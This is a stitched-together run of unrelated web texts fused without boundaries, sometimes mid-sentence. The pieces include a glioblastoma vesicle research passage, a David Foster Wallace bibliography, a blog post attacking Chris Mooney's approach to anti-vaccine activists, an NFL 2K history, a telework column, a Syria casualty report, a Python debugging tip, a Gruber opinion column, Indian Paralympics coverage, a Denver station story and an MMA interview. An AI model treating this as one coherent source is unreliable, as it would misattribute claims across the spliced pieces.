As GBM EVs induced signalling changes in recipient NHAs reminiscent of tumour-type pathway activation, we asked if GBM EV-treated NHAs might behave as if transformed. We exposed NHAs to 0, 50 or 500 µg ml−1 concentrations of F3-8 GBM EVs for 24 h. We then plated NHAs in a soft-agar assay for 8 days. We see that NHAs exposed to GBM EVs promoted colonization of the NHAs in soft agar; those exposed to the 500 µg ml−1 concentration of GBM EVs displayed a statistically significant increase in colony formation of 20% over the control (figure 8). Figure 8. GBM EV treatment reduces sold-matrix growth dependence in astrocytes. Astrocytes are from a single individual. Astrocytes were incubated with 0, 50 or 500 µg ml−1 of GBM EVs for 24 h. Astrocytes were washed, detached and plated in a soft agar assay for eight days, after which colony viability was measured by MTT assay (OD 570 ). Results are displayed as per cent growth over untreated astrocytes (control = 100%). Results are from two biological replicates with six technical replicates per experiment. Error bars, standard deviation.
4. Discussion
GBMs are known to profoundly alter their microenvironments, affecting infiltrating lymphocytes and monocytes [34–36], and endothelial cells [37,38]. Previous studies have implicated GBM EVs in the conditioning of tumour endothelial cells [39,40], and possibly of microglia [41], but we believe this is the first study characterizing the effects of GBM-derived EVs on astrocytes. Specifically, we show the potential for GBM EVs to drive tumour-like phenotypic changes in that normal cell population, possibly resulting in a transformed phenotype. The implications for tumourigenesis in the recurrent GBM setting would be of high importance.
Exposure to GBM EVs dramatically altered the intracellular signalling and cytokine profile (secretome) of once-normal astrocytes, resulting in internal and external effects. One such effect was the generation of a growth-stimulant medium by NHAs following exposure to GBM EVs. The resulting astrocyte conditioned medium was laden with growth factors (EGF, FGFs, CSFs, HGF, VEGF), chemokines (CXCL1, 9, 10, 11; CCL3, 5, 7, 20) and over a score of interleukins (figure 3). The conditioned medium accelerated growth of GBM cells (figure 5). As GBM EVs also promoted migration of NHAs (figure 2), one may envision a scenario where GBM cells ‘call out’ to astrocytes, prompting a close physical association in conjunction with a growth-stimulatory microenvironment. The proinflammatory nature of these secretions is also evident (table 1) [42,43]. Notably, MMP9 is also secreted by the EV-treated astrocytes, potentially providing a protease aid for GBM invasion [44–46]. Additionally, several cytokines secreted by the GBM EV-stimulated NHAs are considered drivers of T-helper 2 (Th2) phenotypes of T cells in GBM patients, such as CSF2 and 3, and ILs 4, 10 and 13 [47]. IL10 and CCL2 are also known glioma-derived inducers of regulatory T cells (Tregs) [48], so the cytokine/chemokine environment of the GBM EV-stimulated astrocytes could also promote immune suppression so prevalent in GBM patients [49]. Given the numbers of upregulated proteins in the EV-treated NHA secretome, and the multitudes of potential outcomes for GBMs and their microenvironments, further efforts are clearly needed to dissect this plethora of environmental cues.
Pathway analyses using IPA made provocative connections between the cytokine environment and well-known intracellular signalling molecules ERK, PI3 K and AKT (figure 4) [50,51]. Curiously, signalling triggered by CXCL12/SDF1 leads to activation of ERK and AKT pathways driving glioma versions of epithelial–mesenchymal transition [52,53], which are generally regarded as more invasive and tumourigenic phenotypes [54]. Also notable is that the intracellular signalling profile bears resemblance to GBM cells (U87MG) undergoing stress from the unfolded protein response [55], particularly ERK, STAT3, AKT, RPS6, mTOR, BAD, JNK and GSK3B phosphorylation.
While the directional extracellular-to-intracellular signalling is usually focused on the GBM cells, the IPA results here led us |
chance to Dream". You can probably find this online.
Parnassus: Poetry in Review Vol. 23 Nos. 1 & 2 (1998) DFW contributed to a multi-author piece called The Flexicon, which is described as 'An homage to the lexical richness of English'. Their website mentions that you can order back issues via email, and when I contacted them I was told there is (only?) one copy remaining, $15 USD if sent domestically and $30 USD if sent abroad. The publication is closing in November so if you want a copy, better be quick.
Harper's Magazine (October 1998) A mini-collection of Brief Interviews with Hideous Men pieces. The only one that's not in the book is #16, which you can find at harpers.org.
Rolling Stone No. 830/831 (Dec. 30, 1999-January 6, 2000) A piece called 100-word statement (actually 209 words), about the upcoming millennium and commissioned by Rolling Stone for their Party 2000 issue. You should be able to find this online.
Sonora Review 55/56 (2009) Contains the uncollected short story Solomon Silverfish, which was originally published in Sonora Review 16 (Fall 1987) right after he finished his MFA program at University of Arizona (which is where the Sonora Review is based). This issue also contains, as part of its 100-page DFW tribute, various excellent essays and interviews about him, and I would highly recommend getting a copy if you're trying to complete your collection. (It's out of print now, but I managed to get a used copy off Amazon for about $20 USD.)
The New Yorker (December 14, 2009) Contains the uncollected short story All That, which was originally meant for The Pale King but didn't make it into the published version. Available from the New Yorker website.
Other
The Enema Bandit and the Cosmic Buzzer (early 1980s?) A short story that was writtenwhen he was an undergraduate at Amherst College. Not published anywhere, but if you're lucky enough to visit the Harry Ransom Centre...
Interview with Eduardo Lago (1990) Originally in Spanish. Translation available at Electric Literature.
Interview with Engender Magazine (Jan 1990) Details + transcript available from the DFW Society.
Interview with Elle Magazine (1996) Interview with Gerald Howard for Elle, entitled "infinite jester: David Foster Wallace and his 1,079 mystical, brilliant pages". Not reproduced in any of the interview collections above. You can find the transcript here.
Charlie Rose interview (May 17, 1996) He appeared on the Charlie Rose show for an interview, along with Jonathan Franzen and Mark Leyner. You can find a clip and transcript on the Charlie Rose website.
Words With the Singular David Foster Wallace (March 1997) Interview with Zachary Chouteau for the American Booksellers Association, shortened for its original publication in The Week. You can find the unabridged transcript here.
Charlie Rose interview (March 27, 1997) He appeared on the Charlie Rose show for an interview. You can find a clip and transcript on the Charlie Rose website.
The Usage Wars (March 30, 2001) Radio interview with David Foster Wallace and Bryan A. Garner. An MP3 recording of the interview is available at bu.edu, but I couldn't find a transcript anywhere (it's not transcribed in Quack This Way).mooney tackles the anti-vaxers. well, sort of…
After failing to fix science education, Chris Mooney is taking his failed approach to the vaccine manufactroversy.
Say what you will about Chris Mooney, but where he excels is in consistency. He has the same solution to just about every problem between scientists and crackpots, and he’s not afraid to suggest it again and again with absolutely no details or regard for the nature of the conflict he wants to resolve. Previously, he’s done this with the evolution/creationism manufactroversy and scientific literacy.
Now, after managing not to resolve either problem and missing the fact that blaming scientists for a culture which rejects science and expertise as a manifestation of elitist snobbery doesn’t actually accomplish anything, he’s off to make friends with the anti- vaxers and implore doctors and epidemiologists to build bridges with zealots who demonize their critics as baby-eating monsters. Really, it seems that Chris is firmly committed not to learn from his past mistakes…
After profiling the anti-vaccination movement that blames vaccines for every pediatric evil in the world and their long record of conspiracy mongering, one would think that Mooney, of all people, would know full well that a negotiation with the likes of J.B. Handley, Jenny McCarthy and Lyn Redwood would be futile. I could argue that it would be like trying to explain the validity of evolutionary theory to someone like Ray Comfort, but Mooney has already proposed doing just that to combat creationist influence in schools. And it’s in this obliviousness that he suggests an exercise in building communicational bridges to nowhere…
I believe we need some real attempts at bridge-building between medical institutions, which, let’s admit it, can often seem remote and haughty, and the leaders of the anti-vaccination movement. We need to get people in a room and try to get them to agree about something — anything. We need to encourage moderation, and break down a polarized situation in which the anti-vaccine crowd essentially rejects modern medical research based on the equivalent of conspiracy theory thinking, even as mainstream doctors just shake their heads at [their] scientific cluelessness.
This is really classic Mooney. He proclaims that the scientific establishment seems distant and aloof and as soon as we get any kind of a consensus on anything going, there will be a huge cascade effect as those who throw temper tantrums the instant you tell them than we’re not vaccinating kids too soon or too much, or that autism may might have genetic causes, will suddenly see the light of science.
It’s not going to happen. They are far too invested in their worldview and there are too many quacks and cranks making millions off selling a whole range of snake oil concoctions and remedies to “cure autism” by exploiting their fears. Autism quackery is a big business and it fuels anti-vax hysteria. Try and remove the likes of Joe Mercola or Andy Wakefield and his woo crew in Texas off their perch, and they’ll fight back with even more disinformation because they have a mortgage to pay and families to feed. Likewise, we have to admit that sometimes science is complicated and just because scientific institutions seem remote, it’s not always the scientists’ fault.
Yes, there’s always jargon, science-speak or academese standing in the way of easy explanations in almost any field of scientific research. However, not everything lends itself to an easy ten to fifteen minute explanation because some of the concepts require years of study. In my own experience, anything that has to do with AI or intelligent agents in computer science is awfully hard to condense in simple terms just because of the scope that has to be covered for a truly comprehensive discussion and each subset of AI theory has to branch out in several different directions, affecting a wide range of disciplines.
That scope makes the topic exciting and very rewarding, but it can also lead to quite a bit of confusion. And topics in medicine and biology aren’t any easier to explain. Besides, if those of us either studying to be scientists or with fully fledged PhD’s could summarize everything we do and study in an afternoon or two, why would we spend so much time buried in books, tests and labs? Grad school would be over in a month instead of between two and seven years.
In any case of crankery, scientists and experts are dealing with people who formed very strong opinions on an impressive range of subject matter they know very little about. To explain to them that they have it wrong could only result in their rejection of the explanation. Instead of being used to endless critique and take it as a given that their conclusions will be debated, they take it as a deep personal insult that someone dares question a worldview they hold near and dear.
Rather than listen to the experts, they’re going to be advancing their own agendas and rebelling against any skeptical thought or inquiry into their actions. To suggest otherwise, is the kind of typical Mooney argument we’ve seen in the Unscientific America debacle. His suggestions for all those involved in a big public dustup over science to sit around a campfire and sing Kumbaya, are born from a lack of consideration for the psychology of both sides and the environment from which they come, and if they really worked, he wouldn’t even have to write about militant anti-vaxers and creationists in the first place.NFL 2K is an American football video game series developed by Visual Concepts and published by Sega.[1] The series was originally exclusive to Sega's Dreamcast video game console due to the absence of EA Sports's Madden NFL series on the system. As the foremost "2K" title, it marked the beginning of a running athletics series that eventually led to the spinning off of 2K's sports publishing business under the name of 2K Sports. Upon the Dreamcast's discontinuation, the series continued to be published for other sixth generation game systems and became the chief competitor of the Madden series.
After the competitively priced NFL 2K5 significantly reduced sales of that year's Madden release, EA signed an exclusivity deal with the NFL that made Madden NFL the only series allowed to use NFL team and player names. After losing the NFL license, Visual Concepts made a brief return to developing football games with the release of All-Pro Football 2K8, which featured former NFL players on fictional teams.
History [ edit ]
The NFL 2K series was introduced by Sega to address EA Sports's decision not to publish games, including the Madden NFL series, for the Dreamcast. The first installment was released exclusively for the system, in time for its September 9, 1999 launch in North America. All 31 NFL teams were included in the game (including the returning Browns) along with alumni teams, and All-Pro teams for the AFC, NFC, and NFL. The game received positive reception upon its release, with praises for its visuals, presentation, and overall gameplay.
A sequel, NFL 2K1, was released for the Dreamcast on September 7, 2000 to critical acclaim. Improvements over its predecessor include a significant amount of new player animations, larger play-books, improved AI, and tweaks to the running game, the passing game, and defense. 2K1 also introduced a multi-season franchise mode and online play.
With the demise of the Dreamcast, the NFL 2K series was re-positioned as the main multi-platform rival to the Madden NFL series. NFL 2K2, the third installment, was released on September 19, 2001 for the Dreamcast. PlayStation 2 and Xbox versions of the game were later released with enhanced graphics. Reception for the game was positive, with critics noting improved AI, enhancements to the passing game, and new player animations. However, the franchise mode was criticized for lacking depth, as it remained nearly unchanged from 2K1. The Houston Texans were included in the game, featuring stock players as the team did not yet have a real-life roster.
NFL 2K3 was released for PlayStation 2, Xbox, and GameCube in August 2002. The game featured licensed ESPN-styled presentation, with halftime reports, player awards, and post-game and weekly wrap-ups. ESPN's Dan Patrick is featured in the opening intro. Franchise mode was greatly expanded upon in 2K3, and featured interactive menus along with much greater depth. Historic teams were included for the first time, and current real-life coaches were introduced to the series (along with the ability to create ones). 2K3 was the first game in the series to include Xbox Live capabilities.
ESPN NFL Football was released in September 2003 for PlayStation 2 and Xbox. It is the only game in the series not featuring 2K in the title; 2K4 was instead regulated to the bottom corner of the box art. The game would expand upon the series' ESPN license, with players receiving reports and highlights from ESPN's Chris Berman and Suzy Kolber. New features were added such as first-person football and "The Crib', which serves as the players own digital apartment and trophy room.
With the cancellation of NFL GameDay (989 Sports) on PlayStation 2 and the NFL Fever (Microsoft Game Studios) franchise, the series truly became Madden NFL's primary competition. In what Grantland later called "one of the greatest, most insidious guerrilla-warfare moves in the history of video game competition", Sega released ESPN NFL 2K5 in July 2004 for $19.99, giving the game significant market share versus the $49.95 Madden NFL. One EA developer recalled that Sega's aggressive pricing "scared the hell out of us"; EA later reduced Madden NFL's price to $29.95.[2][3] In December 2004, however, EA signed an exclusive agreement with the NFL for an undisclosed amount of money, making Madden NFL the only series allowed to use NFL team and player names.Comparatively, the NFL signed a similar six year exclusivity deal with Visa Inc. worth $400 million in January 2004.[4] EA also signed an agreement with ESPN to become the only licensee of ESPN's brand in sports games on all platforms. This was an immense blow to Sega's franchise in their MLB, NBA, and NHL series. As of June 2014, EA's NFL licensing rights were due to end in "a couple more years." [5]
The commentary is by the fictional Dan Stevens (Terry McGovern) and Peter O'Keefe (Jay Styne), who narrate in each of the series' games. The fictional Michelle Westphal (Marcia Perry) provided occasional sideline reports from NFL 2K until NFL 2K3, while ESPN NFL Football and ESPN NFL 2K5 featured sideline reporting from ESPN's real-life Suzy Kolber.
2K Sports has a spiritual successor to the series, in the form of All-Pro Football 2K8.[6] The spin-off was released in 2007 and features over 240 retired NFL players, including Joe Montana, Barry Sanders, John Elway, Walter Payton, Jerry Rice, and Johnny Unitas.[7] In-game announcers Stevens and O'Keefe are also featured in All-Pro Football 2K8, with many player animations and gameplay mechanics returning as well.
Installments [ edit ]
Main series [ edit ]
Reception [ edit ]
The series has received universal acclaim.Today in San Francisco BART (Bay Area Rapid Transit) workers went on strike, resulting in one giant mess. They're complaining that their retirement benefits are unreasonable and their pay is miserable while every year the top execs give themselves pay raises and perks. So if you live in the area, good luck commuting today.
To make matters worse, the bus services employees expect to go on strike, making it impossible to go anywhere. BART generally moves 400,000 people a day and adding half that many cars to the roads means gridlock.
The corporations that will get through this fine are the ones that have a well-managed work-from-home program in place. The term for this used to be "telecommute" but about 20 years ago it was changed to "telework" since the process involves working remotely, not commuting remotely. We have yet to witness the once-expected revolution in remote work. In fact, a poorly managed program, such as the one supposedly employed at Yahoo, often results in discontinuance of the program.
Why go to work at all when you can stay at home and get just as much or more done over a VPN connection to the corporate servers? Add a phone and you may as well be at work.
It is well-documented that many people will get more done in a telework environment than they will at an office. Let's look at some of the telework stats from TelCoa, the Telework Coalition:
In Finland, 17 percent of all workers telework.
In 2003, Gartner Group documented 137 million teleworkers worldwide.
During the early telework era in 1999 the Chicago Sun Times reported that AT&T teleworkers work an average of five more hours per week than AT&T office workers and that the JD Edwards teleworkers are from 20 to 25 percent more productive than their office coworkers.
reported that AT&T teleworkers work an average of five more hours per week than AT&T office workers and that the JD Edwards teleworkers are from 20 to 25 percent more productive than their office coworkers. The Colorado Telework Coalition reported that American Express teleworkers produce 43 percent more business than their office workers.
But it is not just productivity that makes a difference. If you do the math, a 40-minute commute equals eight weeks a year lost.
Are you looking for another rationale? How about the fact that it costs about $10,000 per year to maintain an employee in an office given the costs of rent, utilities, and furnishings. In fact, a well-designed telework system can cut real estate costs by 25 to 50 percent.
I've teleworked for decades in one form or another and have watched its popularity come and go. In general, an American company has a hard time dealing with telework despite all the benefits.
Because of the recent strikes in the Bay Area, many companies are going to have to implement a real telework plan soon. It's a much better way to manage and a practical way to do business while saving money.
Now email this article to your boss.Image copyright Reuters Image caption Fighting between Kurdish and Arab fighters and the last IS soldiers in Raqqa has displaced many
September has been the deadliest month in Syria's civil war so far this year, a monitoring group has said.
The UK-based Syrian Observatory for Human Rights (SOHR) said more than 3,300 people had died in September, including 995 civilians.
Of those civilian deaths, it said about 70% were caused by Russian, Syrian government, or coalition air strikes.
The group bases its casualty reports on information provided by a network of activists in Syria.
It counted 207 children among the civilian dead, along with some 790 pro-government fighters, more than 700 from so-called Islamic State (IS) and al-Qaeda affiliates, and some 550 rebels.
The SOHR says it is a non-political and independent monitoring group, though it does not publish its methodology or verification process.
Many of the deaths have occurred during the fighting between the country's multiple factions and IS. But air strikes in Syria have continued as the jihadist group has lost most of its territory in the country.
An alliance of Kurdish and Arab fighters has mostly reclaimed the northern city of Raqqa, the group's former de facto capital.
Its last remaining stronghold in Syria is the province surrounding the eastern city of Deir al-Zour.
Russian air forces are supporting the Syrian military in their attempts to fully retake the city.
A long-running siege of Deir al-Zour was broken by Syrian military forces in early September. In the aftermath, the SOHR said dozens of civilians had been killed in air strikes outside the city.
The Syrian Defence Forces - fighters which oppose Syrian President Bashar al-Assad but are also fighting IS - have also claimed to be hit by Russian and Syrian air strikes, a charge which Russia denies.
And last week, Human Rights Watch said a pair of air strikes by the US-led coalition in March had killed at least 84 civilians.Sometimes, moderately complex Python applications with several threads tend to hang on exit. The application refuses to quit and just idles there waiting for something. Often this is because if any of the Python threads are alive when the process tries to exit it will wait any alive thread to terminate, unless Thread.daemon is set to true.
In the past, it use to be little painful to figure out which thread and function causes the application to hang, but no longer! Since Python 3.3 CPython interpreter comes with a faulthandler module. faulthandler is a mechanism to tell the Python interpreter to dump the stack trace of every thread upon receiving an external UNIX signal.
Here is an example how to figure out why the unit test run, executed with pytest, does not exit cleanly. All tests finish, but the test suite refuses to quit.
First we run the tests and set a special environment variable PYTHONFAULTHANDLER telling CPython interpreter to activate the fault handler. This environment variable works regardless how your Python application is started (you run python command, you run a script directly, etc.)
PYTHONFAULTHANDLER=true py.test
And then the test suite has finished, printing out the last dot… but nothing happens despite our ferocious sipping of coffee.
dotdotdotmoredotsthenthenthedotsstopappearing..
How to proceed:
Press CTRL-Z to suspend the current active process in UNIX shell.
Use the following command to send SIGABRT signal to the suspended process.
kill -SIGABRT %1
Voilá – you get the traceback. In this case, it instantly tells SQLAlchemy is waiting for something and most likely the database has deadlocked due to open conflicting transactions.
Fatal Python error: Aborted Thread 0x0000000103538000 (most recent call first): File "/opt/local/Library/Fra% meworks/Python.framework/Versions/3.4/lib/python3.4/socketserver.py", line 154 in _eintr_retry File "/opt/local/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/socketserver.py", line 236 in serve_forever File "/Users/mikko/code/trees/pyramid_web20/pyramid_web20/tests/functional.py", line 40 in run File "/opt/local/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/threading.py", line 921 in _bootstrap_inner File "/opt/local/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/threading.py", line 889 in _bootstrap Current thread 0x00007fff75128310 (most recent call first): File "/Users/mikko/code/trees/venv/lib/python3.4/site-packages/SQLAlchemy-1.0.0b5-py3.4-macosx-10.9-x86_64.egg/sqlalchemy/engine/default.py", line 442 in do_execute... File "/Users/mikko/code/trees/venv/lib/python3.4/site-packages/SQLAlchemy-1.0.0b5-py3.4-macosx-10.9-x86_64.egg/sqlalchemy/sql/schema.py", line 3638 in drop_all File "/Users/mikko/code/trees/pyramid_web20/pyramid_web20/tests/conftest.py", line 124 in teardown... File "/Users/mikko/code/trees/venv/lib/python3.4/site-packages/_pytest/config.py", line 41 in main File "/Users/mikko/code/trees/venv/bin/py.test", line 9 in <module>
Subscribe to RSS feed Follow me on Twitter Follow me on Facebook Follow me Google+Before he became the Obama administration's least favorite overpaid expert, MIT economist Jonathan Gruber was its darling. He appeared in an Obama campaign ad saying, "I helped (Massachusetts) Gov. (Mitt) Romney develop his health care reform, or Romneycare, before going down to Washington to help President Obama develop his national version of that law." The false portrayal of Romneycare and Obamacare as practically identical fueled the Democratic delusion that Congress had drafted the Affordable Care Act to appeal to rascally Republicans.
Now Gruber is in the doghouse because he was captured on video being brutally honest. In 2010, Gruber told a panel, "Barack Obama's not a stupid man, OK?" Obama knew the public doesn't care about the uninsured, Gruber said. "What the American public cares about is costs. And that's why even though the bill that they made is 90 percent health insurance coverage and 10 percent about cost control, all you ever hear people talk about is cost control."
Ergo, candidate Obama's 2008 promise that his universal health plan would "bring down premiums by $2,500 for the typical family."
What happened to those savings? Josh Archambault, senior fellow at the Foundation for Government Accountability, a free market think tank, answered, "We have not seen them yet."
Even in 2008, it was clear that pledge was bogus. The New York Times reported in July, "The health policy advisers who formulated the figure say it actually represents the average family's share of savings not only in premiums paid by individuals, but also in premiums paid by employers and in tax-supported health programs like Medicare and Medicaid." Economist David Cutler admitted to "occasional misstatements" made in service to a desire to "find a way to talk to people in a way they understand."
(Three Harvard professors made a "best guess" as to how much the government, employers and consumers might save when Obama's proposals are fully implemented -- $200 billion annually -- divided by the number of Americans and multiplied by four. Then they let Obamaland talk as if all the savings would go to premium reductions.)
At a different venue, Gruber alluded to the "stupidity of the American voter" for falling for the administration's claim that Obamacare's Cadillac tax on employer-paid health plans would be "a tax on insurance plans rather than a tax on people when we all know it's a tax on people who hold those insurance plans."
Obama whisperer David Axelrod tweeted, "If you looked up'stupid' in dictionary, you'd find Gruber's picture." For a stupid guy, Gruber sure cashed in. According to Washington Post fact checker Glenn Kessler, the federal government paid Gruber almost $400,000 to consult on the Affordable Care Act in 2009 and another $2 million over seven years to assess Medicare choices.
In 2012, Gruber was a key figure in the making of a myth -- that is, that Democrats drafted Obamacare to attract Republicans, who perversely would not vote for the law, thus forcing Democrats to enact a measure they didn't really want. Chalk that up to the stupidity of the consulting class -- which pays very well.What's The Secret To India's Paralympics Success?
Enlarge this image toggle caption Friedemann Vogel/Getty Images Friedemann Vogel/Getty Images
Deepa Malik was about to make history. Seated in a custom-made chair on a hot day in Rio, Malik — paralyzed from the chest down — held a 6.5-pound shot put between her neck and right shoulder. She took a deep breath and hurled the shot 15 feet across the throwing circle. The throw got Malik a silver at the Paralympic Games in Brazil this past Monday — and made her the first Indian woman to win a Paralympics medal.
"My first thoughts were, 'Oh my God, have I really won?' " says Malik, 45, via email. She developed a spinal tumor in her early 30s and has been paralyzed since. "To become the first Indian woman to win a Paralympic medal is an honor, and it is something I will cherish for the rest of my life."
A few days later, Devendra Jhajharia also had a historic win at the Summer Games. When he was 8, Jhajharia touched a live wire in his small North Indian village; his left arm had to be amputated. Everywhere he went, people commented on his missing limb, telling his mother he would forever have to rely on her. Tired of being called weak, Jhajharia was determined to prove them wrong.
And boy, did he ever. The 36-year-old javelin thrower just beat his own 2004 Athens Paralympic record and won a Paralympic gold for a second time.
Malik and Jhajharia are part of a team of 19 athletes representing India at the 2016 Paralympic Games and proof of a change that's taking over the country. In fact, this modestly sized group is India's largest-ever Paralympic delegation. (China sent the largest delegation of 308 athletes; Brazil sent the second largest at 285; and at 279, the U.S. had the third largest.)
"It's fabulous," says Deepthi Bopaiah, executive director of GoSports Foundation, a nonprofit organization that funds professional athletes in India. "This is definitely a great start for India. I think more people will come forward to support these athletes."
A year ago, the foundation launched an exclusive program for India's para-athletes, and that program has funded most of the participants at this summer's Paralympics.
So far, India has won two golds, one silver and one bronze medal. That's double the success of its 2016 Olympic counterpart of more than 100 athletes.
Several factors have led the country to this summer of excellence. For starters, the Indian government recently passed a first-of-its-kind corporate social responsibility law requiring certain companies, based on their earnings and revenue, to contribute 2 percent of their profits to social development — including education, poverty and sport programs. "It's really changed the game for us," says Aparna Ravichandran, head of partnerships at GoSports Foundation.
Since its inception eight years ago, the foundation has relied on the support of individuals and small organizations, but this recent mandate has resulted in funding from multinational companies and other large partners. The government also launched a "Target Olympic Podium Scheme," an initiative that has set aside a little over 300 million rupees, or more than $4 million, for the program.
These cash incentives have made a world of difference to athletes — several of whom are from extremely humble backgrounds. They also convey to a society that's biased toward academics that sport can be a legitimate and lucrative career.
"They're able to see money," Bopaiah says, adding that athletes can win hundreds of thousands of dollars through sponsorships as well as rewards from the government. For instance, the government of Tamil Nadu in southern India has promised high jumper Mariyappan Thangavelu 20 million rupees, close to $300,000, for winning a gold in this year's Paralympics.
Policy changes have also led to better media coverage and more awareness of the needs of athletes with disabilities. A few years ago, Mahantesh Kivadasannavar, a partially blind cricketer, helped form the Cricket Association for the Blind in India, or CABI, with "the prime objective to focus on promoting and fostering the game of cricket for the blind," he says. This relatively new group — still in need of regular funding — is managed by visually impaired cricket enthusiasts.
Para-cricket involves slight modifications to the original sport. For instance, the cricket ball is made of plastic with steel ball bearings on the inside that rattle, letting the batter know of an approaching ball. Also, cricket wickets are made of steel instead of wood. In a country that worships cricket, CABI helps select 17 visually impaired cricketers from a group of roughly 10,000 hopefuls to represent India at international events — including the second annual T20 World Cup cricket tournament for the blind scheduled for early next year.
Kivadasannavar is also part of the Indian Association of Para Sport Organizations — a recently formed coalition of like-minded groups and agencies.
The group is the brainchild of Rajesh Tomar — former president of the Paralympic Committee of India, or PCI, which has often come under criticism. PCI's parent body, the International Paralympic Committee, suspended the organization several times in the past few years over internal conflicts as well as mismanagement of athletes and events.
Only recently did the international arm lift its ban on PCI, allowing athletes to represent India at this summer's Paralympics.
The poor planning manifests itself in other ways, too. "There's not much help in terms of sending in their entries, paying their entry fee on time, getting their visa, getting their travel documents processed on time," says Ravichandran of GoSports.
In addition, despite some improvements, athletes continue to struggle with a lack of handicap-accessible infrastructure and access to appropriate training facilities in India. "The deeper we got into that ecosystem, the clearer it became that there's so much more support needed," she says.
Some of that support comes from coaches and other role models, who have already walked this somewhat confusing and challenging path.
Niranjan Mukundan can vouch for the power of a good coach. Born with a spinal defect and a club foot, this 22-year-old swimmer was crowned junior world champion last year at the International Wheelchair and Amputee Sports event in the Netherlands. It was "one of the best moments of my life," he says.
When Mukundan was 8, his coach, John Christopher, from Bangalore, introduced him to the world of para-swimming. Less than a year later, Mukundan participated in his first national event and won a silver medal.
When she isn't out winning medals for her country, Malik serves as a motivational speaker and a role model, hoping to inspire people through her journey.
"I think it is important to lead as an example," she says. "Now, with my latest achievement, I hope to strike a chord with people back home — particularly differently abled women in India — and inspire them to come out of their homes."Please enable Javascript to watch this video
DENVER -- Civic Center Station reopened Sunday after shutting down for 18 months of reconstruction. The $31 million redesign replaces a rundown, leaking facility built in the early 1980s.
More than 15,000 passengers a day travel through the bus terminal.
"Just using the buses I haven't been inside just yet but I'm pretty sure it's cozy it's probably better than the last one the last one was really nasty," passenger Starletta Lewis said.
The newly renovated building not only gives Civic Center Station a snazzier exterior aesthetic, it also comes with an increased security presence and surveillance.
"When tourists come through it's not just looking at Denver as a way to get to the mountains now Denver's the destination itself you look at it there's consistent look from Denver International Airport to Union Station to here and it really brings the whole city together," said Rye Rajala, who was visiting the station with kids.
RTD said that with the renovation, it was able to increase service from the station.
"One of the great features were able to do with the design of the new facility is we were actually able to add two or three additional bays so it gives us a lot more capacity and it gives us a lot more operational flexibility," RTD general manager Dave Genova said.Anthony Johnson has nothing but good things to say about his three-fight run with World Series of Fighting, but he’s happy to be back in the UFC. And after watching his Blackzilians teammate Abel Trujillo pocket $125,000 in bonuses at this past weekend’s UFC 169 event, “Rumble” can’t wait to step into the cage.
“It’s a business, so I just had to see which one would provide the better future for me, and that would be UFC right now,” Johnson told MMAjunkie Radio. “I see all these guys getting ‘Knockout of the Night’ and ‘Fight of the Night’ over there in the UFC, and I was like, ‘I would have put on a way better fight than that.'”
Johnson wasn’t likely referring to Trujillo’s epic UFC 169 clash with Jamie Varner. After all, not much more could be asked of two men than what Trujillo and Varner offered up on Saturday night, with the two providing the biggest highlights of an otherwise forgettable night. But his point is well-made: The UFC simply offers the greatest potential to earn the biggest paychecks in the sport.
It was that reality that led Johnson to walk away from World Series of Fighting, where he fought three times in the past 14 months.
“It was difficult because I have so much respect for those guys, and they did a lot for me,” Johnson said. “I never had any bad blood with them. We were always on the same page. They’re just overall good people over there at World Series of Fighting. I really enjoyed myself there.
“They were real respectful of it. I showed them respect, and they showed it right back.”
The feeling was apparently mutual, as World Series of Fighting President Ray Sefo today took to Twitter to wish Johnson luck in his return to the octagon.
“Wishing @Anthony_Rumble the very best on his next fight at @UFC best of luck bro!!” Sefo wrote.
Johnson (16-4 MMA, 7-4 UFC) now meets Phil Davis (12-1 MMA, 8-1 UFC) at UFC 172, which takes place at Maryland’s April 26 at Baltimore Arena. It’s an opportunity for Johnson to make an immediate impact in the division, as Davis currently sits at No. 3 in the latest USA TODAY Sports/MMAjunkie MMA light heavyweight rankings.
Johnson said he respects Davis but also plans to make an immediate impact with his return.
“I know we’re going to put on a show for everybody,” Johnson said. “He’s a class act, and we have a lot of respect for each other, but at the same time, we’re going to punch each other in the mouth.”
Johnson brings a six-fight winning streak to the fight. He’s 8-1 in his past nine overall appearances, and perhaps most importantly, he no longer has to worry about the near-impossible weight cut he used to make to get to 170 pounds.
And while he enjoyed his time with World Series of Fighting, it’s impossible to ignore the joy in Johnson’s voice as he talks about the chance to return to the sport’s biggest promotion after more than two years away.
“I didn’t want to let my emotions get the best of me, but I’m very blessed to be back in the UFC, and I know I’ll make the best of it now,” Johnson said. “I just feel like I’m more blessed than fired up. I worked really hard to get back to where I am right now.”
For the latest on UFC 172, stay tuned to the UFC Rumors section of the site.
MMAjunkie Radio broadcasts Monday-Friday at noon ET (9 a.m. PT) live from Mandalay Bay Resort & Casino’s Race & Sports Book. The show is hosted by “Gorgeous” George Garcia, MMAjunkie lead staff reporter John Morgan and producer Brian “Goze” Garcia. For more information or to download past episodes, go to www.mmajunkie.com/radio.MINNEAPOLIS — A day after he was shelled for seven runs in just 1 2/3 innings, Joe Kelly sat |
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